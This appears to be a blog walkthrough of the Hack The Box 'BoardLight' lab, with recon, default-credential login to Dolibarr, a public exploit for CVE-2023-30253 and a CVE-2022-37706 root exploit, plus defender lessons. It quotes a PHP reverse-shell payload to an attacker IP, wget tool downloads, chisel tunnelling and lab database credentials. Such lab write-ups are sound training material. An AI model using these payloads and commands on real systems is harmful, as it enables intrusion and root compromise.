BoardLight
2024-06-19
INTRODUCTION
BoardLight was the 6th box in HTB’s Season V Anomalies. It’s an easy Linux box, focused on a web hosting platform. As far as I can tell, its name and icon have nothing to do with the box itself. Unfortunately, I was away when the box was released, and kicking myself for it - it would have been great to have such easy points on the scoreboard!
Recon is very quick. Whatweb
reveals the domain of the target, and a quick scan for subdomains will reveal the vulnerable web app. From there, default credentials grant you entry to the web app dashboard. While the dashboard itself isn’t immediately useful, the credentials are helpful for the Authenticated RCE exploit that you can apply to the web app to gain a foothold.
A small amount of local enumeration will lead you towards a helpful config file with some database credentials. While the database itself leads you down a tempting rabbit-hole, the actual path forward is through credential reuse - this will grant you access to the first user with terminal access on the box.
The privesc vector on Boardlight isn’t quite as obvious as some boxes, but proper local enumeration (especially searching for files with special privileges) will lead you in the right direction. Once you find the thing that stands out as “odd”, a little research will bring you to a public PoC exploit for gaining a root shell. The exploit should work right away - the only trick here is in actually finding the privesc vector.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No significant results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
80/udp open|filtered tcpwrapped
88/udp open|filtered kerberos-sec
120/udp open|filtered tcpwrapped
158/udp open|filtered tcpwrapped
623/udp open|filtered asf-rmcp
1027/udp open|filtered tcpwrapped
1645/udp open|filtered tcpwrapped
1813/udp open|filtered tcpwrapped
1900/udp open|filtered upnp
2049/udp open|filtered nfs
5353/udp open|filtered zeroconf
5632/udp open|filtered pcanywherestat
17185/udp open|filtered wdbrpc
49192/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
I’ll start with banner grabbing and whatweb:
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
The email suggests the domain is board.htb
, so I’ll add that to /etc/hosts
now for convenience:
DOMAIN=board.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
Next I performed subdomain enumeration, using the assumed domain of board.htb
:
WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Great, that looks like an actual result. Let’s add it to /etc/hosts
:
echo "$RADDR crm.$DOMAIN" | sudo tee -a /etc/hosts
I’ll move on to directory enumeration for both board.htb
and crm.board.htb
:
WLIST="/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"
ffuf -w $WLIST:FUZZ -ic -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-root -of json -timeout 4 -v
board.htb
seems like a pretty typical website - nothing special. Now I’ll check crm.board.htb
:
ffuf -w $WLIST:FUZZ -ic -u http://crm.$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-crm -of json -timeout 4 -v -fw 20
☝️ Results with 20 words had to be filtered-out. They seemed like false-positives
Only the index page seemed useful. Next, let’s manually explore these two websites.
Exploring the Website
The board.htb
website itself doesn’t seem to be very interesting. I don’t see anything actually interactible. It seems like just a static landing page:
The part that actually does seem interesting is crm.board.htb
. What we get there is a login for a system called Dolibarr, running version 17.0.0:
I had never heard of this system, so I clicked the Need help or support link, which links /support/index.php
and from there to the official site. As they describe, Dolibarr is:
“a modular software (we only activate the functions that we want) of business management which adapts to the size of your company (SME, Large companies, Frelancers or associations).
It’s an OpenSource project built by the addition of modules (you only enable the features you need), on a WAMP, MAMP or LAMP server (Apache, Mysql, PHP for all Operating Systems). Dolibarr was developed to try to offer an ERP and CRM suite with the main goal of simplicity”
Taking a quick look through their forum, I found someone asking about default credentials after installation. According to the answer, there are technically no default creds, but there may be one if someone is running Dolibarr using a preconfigured docker container or something like that.
So let’s try the default creds from the container I found on dockerhub: admin : admin
That got us past the login, but seems like we don’t have permissions for anything. However, if you click on the profile button, then Card, the resulting page (/user/card.php?id=2
) shows we actually have some permissions:
Note the direct object reference of
id=2
. I should come back and fuzz this later, to see if there are other users.💡 I wrote a small tool to do something really similar on Freelancer - I can probably reuse a bunch of that code!
I don’t immediately see a way to do any of the things listed under Users & Groups, so I’ll try out the Websites stuff first:
It says to generate a preview, you need to load or initialize a template. I clicked Import website template and used one of the provided templates, “NoImg”.
I tried the Test/deploy on web link, but ultimately it seems like the vhost is misconfigured, because it still links to board.htb
.
FOOTHOLD
Vulnerability Research
Now that I’ve identified an exact version of Dolibarr (v17.0.0 - visible from the login page), I’ll see if there are any notable vulnerabilities. Searching for “dolibarr cve poc exploit” led to tons of results, including one PoC for CVE-2023-30253 that is specific to version 17.0.0.
CVE-2023-30253
Reading through the PoC I found, it seems that the exploit, with everything else stripped away, is to insert a PHP system()
call into the page of a website:
# ...
"<section id=\"mysection1\" contenteditable=\"true\">\n"
" <?pHp system(\"bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
"</section>\n"
# ...
We can also see that it bypasses a very weak filter that eliminates <?php
tags from the provided html content.
Let’s try it out! First, I’ll establish a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
nc -lvnp 4444
Next, I’ll obtain and run the PoC exploit, using the admin : admin credentials from earlier:
git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git
cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
python3 exploit.py http://crm.board.htb admin admin 10.10.14.12 4444
It worked perfectly, without any fuss:
Upgrade the shell
I’ll quickly upgrade my shell, to make this a little more comfortable. See my guide on upgrading the shell for more detail:
python3 -c 'import pty; pty.spawn("/bin/bash")'
[ctrl+z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
alias ll="ls -lah"
USER FLAG
Local enumeration - www-data
I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:
The only users with terminal access are
root
andlarissa
. The user flag must be at/home/larissa/user.txt
, but I can’t access it aswww-data
The target has the following useful applications:
nc, netcat, curl, wget, python3, perl, php
There’s some weird SUID/SGID binaries:
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'
Usual user enumeration aside - the reverse shell opened at /var/www/html/crm.board.htb/htdocs/public/website
The number and arrangement of subdirectories makes me thing that I’m looking at a bunch of Dolibarr modules.
Searching for some kind of configuration file, I traversed to the parent directory and looked around there. Then, in /var/www/html/crm.board.htb/htdocs
I found something interesting:
Theres exactly one directory that’s newer than all the rest: conf
. Seems like a good thing to check out. Inside it, we find conf.php
- clearly a configuration file for the Dolibarr system:
👇 I’ve omitted any commented-out config variables, to make this shorter
<?php
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
$dolibarr_main_distrib='standard';
Great! Seems like checking the database is a good next step.
Accessing the database
🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.
The following section shows the internals of the Dolibarr database though, which some readers may find interesting.
While I could probably access the MySQL database locally, it would be more comfortable to do it via a proxy. That way, I can just run the MySQL client from my attacker machine to access the database running on the target.
Chisel SOCKS5 proxy
To make it easier to access the MySQL database, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the
chisel
server:☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp simple-server 8000 -v & # Serve a copy of chisel via http ./chisel server --port 9999 --reverse
Then, on the target machine, start up the chisel client and background it:
mkdir -p /tmp/.Tools && cd /tmp/.Tools wget http://10.10.14.12:8000/chisel && chmod +x chisel ./chisel client 10.10.14.2:9999 R:1080:socks &
From my attacker machine, I should be able to access the database via the proxy now:
proxychains mysql -h 127.0.0.1 -D 'dolibarr' -u 'dolibarrowner' -p
# Use password: serverfun2$2023!!
There are a lot of tables listed, but the llx_user
table looks like it might have some creds:
describe llx_user;
The table has a bunch of fields, so let’s just select the important stuff:
SELECT entity, admin, employee, login, pass_encoding, pass, pass_crypted, pass_temp, api_key, email FROM llx_user;
Interesting - it looks like dolibarr
is the actual admin, while admin
is not! We also got two password hashes, and an API key for admin
.
Password cracking
🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.
Let’s put these hashes into a file and start cracking:
I also tried it with hashcat:
hashcat -m 3200 --username hashes.txt /usr/share/wordlists/rockyou.txt
I let that run for a few minutes, which is usually plenty for an HTB box - but still I had no result. Perhaps I’m not meant to crack these? I have database access, so what else can I do besides crack the hashes..? 🤔
Password reset
🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.
The following shows a fun way to get full access to the Dashboard though, which some readers may find interesting.
💡 Well, I saw the pass
and pass_temp
fields in the llx_user
table. Perhaps if I set them to something other than NULL
, we can effectively force a password reset?
I’ll update the table with a known value for the pass
and pass_temp
fields, for the dolibarr
user:
Next, I’ll try logging in again at crm.board.htb
but this time using the dolibarr
user and the known password I just inserted (Password123@
):
😂 It worked perfectly!
However, I don’t see anything particularly useful for granting me additional access. Since I’ve already gained a reverse shell as www-data, would further exploitation of the web app lead to anything else? I suspect not - I’ll continue with local enumeration for now.
Credential reuse
In my excitement about the database, I neglected to check for credential re-use. Since we now know the username of the user with terminal access, I’ll start there:
🤦♂️ I can’t believe I forgot to check for credential reuse again! I need to force myself to be more methodical
ssh larissa@$RADDR # Use password: serverfun2$2023!!
Hahaha wow - woops! Should have checked that as soon as I found the credential 😂
As expected, the user flag is at /home/larissa/user.txt
. Feel free to cat
it for some points:
cat user.txt
ROOT FLAG
Local enumeration - larissa
Before I go through my usual local enumeration procedure, I want to take another look at those weird SUID binaries I found while enumerating www-data. I have a pretty good feel of what the “normal” set of SUID binaries on a linux system are - and these are definitely out of the ordinary!
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'
This shows three binaries:
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
Even though these aren’t on the $PATH
, I tried running them. They each reported something along the lines of:
“This is an internal tool for Enlightenment. do not use it.”
Hmph. I’ll do what I want!
Enlightenment
I wasn’t really sure what Enlightenment actually is, so I did a bit of searching. This brought me to the official site, which sums it up:
"Enlightenment is a Window Manager, Compositor and Minimal Desktop for Linux (the primary platform), BSD and any other compatible UNIX system."
As far as I understand, that means it’s basically an alternative to GNOME, KDE, or LXDE. That still doesn’t really answer my original question: why those SUID binaries are present.
To learn more about the Enlightenment SUID binaries, I tried searching for one of them: “enlightenment_sys
”. Much to my amazement, the entry in the search results was a repo on github, MaherAzzouzi/CVE-2022-37706-LPE-exploit. It’s like the search engine read my mind! 😲
CVE-2022-37706 is specifically a vulnerability in enlightenment_sys
; it mishandles pathnames starting with /dev/..
. The exploit is actually pretty quirky. It works by tricking enlightnment into mounting a file containing “/bin/sh
” into a directory as root, thus popping a root shell.
Let’s try out the exploit!
cd exploit
git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit.git
cd CVE-2022-37706-LPE-exploit
python3 -m http.server 8000
Then, from the target (as larissa
), we download the exploit and run it:
mkdir /tmp/.Tools2; cd /tmp/.Tools2
wget http://10.10.14.12:8000/exploit.sh
chmod +x exploit.sh
./exploit.sh
Once again, without any fuss the exploit works perfectly:
And there’s the root flag. Read it to finish off the box:
cat /root/root.txt
🌵 That was easy!
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
rm -rf /tmp/.Tools2
Attacker
It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
I’ll also manually clean up my /etc/hosts
:
vim /etc/hosts
LESSONS LEARNED
Attacker
📧 Email addresses divulge their domain. On this box, I didn’t immediately see any indication of the
board.htb
domain, so I very nearly skipped doing any subdomain enumeration. After all, if there’s no domain to check, then there’s no need to scan for subdomains, right? Thankfully, mywhatweb
check revealed the contact email address, which informed me of the domain that the site was using!🔑 Credential reuse. I’m the worst for this, but any time you find a new credential, check every known account for credential reuse! I can’t believe I forgot this again. Oh well, at least I remembered eventually 🤷♂️
Defender
📆 Containerize webservers. The vulnerability that led to foothold was just a pretty basic arbitrary file upload vulnerability. This could have been prevented by server-level blacklisting of harmful PHP function calls. However, it would be wise to also add in an extra layer of protection by containerizing the whole webserver. That way, if RCE is gained by an attacker, the consequences of the intrusion is much more limited. Why do I suggest both of these? Because it spreads the honus of defence between both the developer (of Dolibarr) and the administrator (of the hosting site).
🌀 Beware SUID binaries owned by root. There’s a very limited set of applications that should be set to SUID/SGID - those applications have been rigorously tested and vetted by your operating system. In this case, I find it hard to understand why Enlightenment seems to think it’s justified to install extras to the system.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake